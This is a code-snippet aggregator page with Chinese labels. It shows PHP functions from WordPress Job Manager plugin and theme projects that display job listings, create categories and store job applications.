示例15: jobman_display_jobs

function jobman_display_jobs($posts)
{
    global $wp_query, $wpdb, $jobman_displaying, $jobman_finishedpage, $sitepress, $wp_rewrite;
    if ($jobman_finishedpage || $jobman_displaying) {
        return $posts;
    }
    // Hack to fix Mystique theme CSS
    if (array_key_exists('mystique', $wp_query->query_vars) && 'css' == $wp_query->query_vars['mystique']) {
        return $posts;
    }
    $options = get_option('jobman_options');
    $post = NULL;
    $displaycat = false;
    if (array_key_exists('jobman_data', $wp_query->query_vars) && !array_key_exists('jobman_page', $wp_query->query_vars)) {
        if (is_term($wp_query->query_vars['jobman_data'], 'jobman_category')) {
            $wp_query->query_vars['jcat'] = $wp_query->query_vars['jobman_data'];
        } else {
            $sql = "SELECT * FROM {$wpdb->posts} WHERE post_type='jobman_job' AND post_name=%s;";
            $sql = $wpdb->prepare($sql, $wp_query->query_vars['jobman_data']);
            $data = $wpdb->get_results($sql, OBJECT);
            if (count($data) > 0) {
                $wp_query->query_vars['page_id'] = $data[0]->ID;
            } else {
                return $posts;
            }
        }
    }
    if (!array_key_exists('jcat', $wp_query->query_vars)) {
        if (isset($wp_query->query_vars['jobman_root_id'])) {
            $post = get_post($wp_query->query_vars['jobman_root_id']);
        } else {
            if (isset($wp_query->query_vars['page_id'])) {
                $post = get_post($wp_query->query_vars['page_id']);
            }
        }
        if ($post == NULL || !isset($wp_query->query_vars['jobman_page']) && $post->ID != $options['main_page'] && !in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) {
            return $posts;
        }
    }
    // We're going to be displaying a Job Manager page.
    $jobman_displaying = true;
    $wp_query->is_home = false;
    remove_filter('the_content', 'wpautop');
    // Hack to kill WPML on Job Manager pages. Need to add proper support later.
    if (defined('ICL_SITEPRESS_VERSION') && !empty($sitepress)) {
        remove_filter('posts_join', array($sitepress, 'posts_join_filter'));
        remove_filter('posts_where', array($sitepress, 'posts_where_filter'));
    }
    if (NULL != $post) {
        $postmeta = get_post_custom($post->ID);
        $postcats = wp_get_object_terms($post->ID, 'jobman_category');
        $postdata = array();
        foreach ($postmeta as $key => $value) {
            if (is_array($value)) {
                $postdata[$key] = $value[0];
            } else {
                $postdata[$key] = $value;
            }
        }
    }
    if (array_key_exists('jobman_register', $wp_query->query_vars)) {
        jobman_register();
    } else {
        if (array_key_exists('jobman_username', $wp_query->query_vars)) {
            jobman_login();
        }
    }
    global $jobman_data;
    $jobman_data = '';
    if (array_key_exists('jobman_data', $wp_query->query_vars)) {
        $jobman_data = $wp_query->query_vars['jobman_data'];
    } else {
        if (array_key_exists('j', $wp_query->query_vars)) {
            $jobman_data = $wp_query->query_vars['j'];
        } else {
            if (array_key_exists('c', $wp_query->query_vars)) {
                $jobman_data = $wp_query->query_vars['c'];
            }
        }
    }
    if (array_key_exists('jcat', $wp_query->query_vars)) {
        // We're looking at a category
        $cat = get_term_by('slug', $wp_query->query_vars['jcat'], 'jobman_category');
        $posts = jobman_display_jobs_list($cat->term_id);
        if (count($posts) > 0) {
            $posts[0]->post_content = $options['text']['category_before'] . $posts[0]->post_content . $options['text']['category_after'];
        }
    } else {
        if (isset($wp_query->query_vars['jobman_page']) || NULL != $post && in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) {
            if (NULL == $post || !in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) {
                $sql = "SELECT * FROM {$wpdb->posts} WHERE (post_type='jobman_job' OR post_type='jobman_app_form' OR post_type='jobman_register') AND post_name=%s;";
                $sql = $wpdb->prepare($sql, $wp_query->query_vars['jobman_page']);
                $data = $wpdb->get_results($sql, OBJECT);
            } else {
                $data = array($post);
            }
            if (count($data) > 0) {
                $post = $data[0];
                $postmeta = get_post_custom($post->ID);
                $postcats = wp_get_object_terms($post->ID, 'jobman_category');
//.........这里部分代码省略.........
开发者ID:simpsonjulian,项目名称:puppet-wordpress,代码行数:101,代码来源:frontend.php


示例16: insert_parent_categories

function insert_parent_categories()
{
    if (!is_term('industrial', 'category')) {
        wp_insert_term('industrial', 'category', array('category_description' => 'Промышленные коллекции', 'taxonomy' => 'category'));
    }
    if (!is_term('industrial', 'category')) {
        wp_insert_term('creative', 'category', array('category_description' => 'Творческие коллекции', 'taxonomy' => 'category'));
    }
}
开发者ID:scarlettkuro,项目名称:diva,代码行数:9,代码来源:functions.php


示例17: jobman_store_application

function jobman_store_application($jobid, $cat)
{
    global $current_user;
    get_currentuserinfo();
    $cat = get_term_by('slug', $cat, 'jobman_category');
    $filter_err = jobman_check_filters($jobid, $cat);
    if ($filter_err != -1) {
        // Failed filter rules
        return $filter_err;
    }
    $dir = dirname($_SERVER['SCRIPT_FILENAME']);
    if (!file_exists("{$dir}/wp-admin/includes/file.php")) {
        $dir = WP_CONTENT_DIR . '/..';
    }
    require_once "{$dir}/wp-admin/includes/file.php";
    require_once "{$dir}/wp-admin/includes/image.php";
    require_once "{$dir}/wp-admin/includes/media.php";
    $options = get_option('jobman_options');
    $fields = $options['fields'];
    $job = NULL;
    if (-1 != $jobid) {
        $job = get_post($jobid);
    }
    // Workaround for WP to Twitter plugin tweeting about new application
    $_POST['jd_tweet_this'] = 'no';
    // Check for recent applications for the same job by the same user
    if (!empty($current_user) && -1 != $jobid) {
        $args = array('post_status' => 'private', 'post_type' => 'jobman_app', 'author' => $current_user->ID, 'meta_key' => 'job', 'meta_value' => $jobid, 'suppress_filters' => false);
        add_filter('posts_where', 'jobman_dupe_app_check_where');
        $posts = get_posts($args);
        remove_filter('posts_where', 'jobman_dupe_app_check_where');
        if (!empty($posts)) {
            return -2;
        }
    }
    $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'private', 'post_type' => 'jobman_app', 'post_content' => '', 'post_title' => __('Application', 'jobman'), 'post_parent' => $options['main_page']);
    $appid = wp_insert_post($page);
    // Add the categories to the application
    $append = false;
    if (NULL != $cat && is_term($cat->slug, 'jobman_category')) {
        wp_set_object_terms($appid, $cat->slug, 'jobman_category', false);
        $append = true;
    }
    if (NULL != $job) {
        // Get parent (job) categories, and apply them to application
        $parentcats = wp_get_object_terms($job->ID, 'jobman_category');
        foreach ($parentcats as $pcat) {
            if (is_term($pcat->slug, 'jobman_category')) {
                wp_set_object_terms($appid, $pcat->slug, 'jobman_category', $append);
                $append = true;
            }
        }
    }
    if (array_key_exists('jobman-catselect', $_REQUEST) && !empty($_REQUEST['jobman-catselect']) && is_array($_REQUEST['jobman-catselect'])) {
        // Get any categories selected from the category dropdown
        foreach ($_REQUEST['jobman-catselect'] as $bonuscat) {
            if (is_term($bonuscat, 'jobman_category')) {
                wp_set_object_terms($appid, $bonuscat, 'jobman_category', $append);
                $append = true;
            }
        }
    }
    // Add the jobs to the application
    $jobs = array();
    if (-1 != $jobid) {
        $jobs[] = $jobid;
    }
    if (array_key_exists('jobman-joblist', $_REQUEST)) {
        $joblist = explode(',', $_REQUEST['jobman-joblist']);
        $jobs = array_merge($jobs, $joblist);
    }
    // Add any extra jobs to the application
    if (array_key_exists('jobman-jobselect', $_REQUEST) && !empty($_REQUEST['jobman-jobselect'])) {
        if (is_array($_REQUEST['jobman-jobselect'])) 

鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP is_textdomain_loaded函数代码示例发布时间:2022-05-15
下一篇:
PHP is_taxonomy_translated函数代码示例发布时间:2022-05-15
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap